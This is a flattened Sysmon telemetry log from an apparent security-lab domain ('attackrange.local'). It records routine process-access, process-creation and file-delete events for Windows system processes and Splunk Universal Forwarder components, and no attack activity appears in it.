15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016967Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016966Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016965Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016964Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016963Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016962Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016961Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-734F-613B-1105-00000000F101}2700C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016960Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734F-613B-1105-00000000F101}2700C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016959Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-734F-613B-1105-00000000F101}2700C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000016958Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.341{625C326B-734F-613B-1005-00000000F101}20162248C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016957Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734F-613B-1005-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016956Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016955Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016954Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016953Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016952Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016951Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016950Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016949Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016948Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-734F-613B-1005-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016947Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016946Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.107{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734F-613B-1005-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016945Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.108{625C326B-734F-613B-1005-00000000F101}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016944Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.013{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7D3F3768EB7A0270B054E4BA8227976,SHA256=6675CA9FAF5B5B80B90822BBF465BE4AC9A8FBCC3B4A9A9309C56E70427833BF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:36.192{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE40B5326B10C27E977867D498B0728C,SHA256=ADB73767A26EAD0BA9BBF5D8CCEEADAA585E5B4F89DC6E417F6A1057FE0E9711,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016987Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5FC9ED1123941B94ECA7BD4D2B2B44C2,SHA256=9B2F7D028AD2F2A8245AC907ACEC42DDCD1817D6F765150C4790D4FD1CD3E06F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016986Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4BD5AB469B6C98138A5E07F81C80992,SHA256=51D66817AA0AFD507821909C0152A13B657075B63DD6BB5E319C71A2139D80D6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016985Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7350-613B-1205-00000000F101}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016984Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 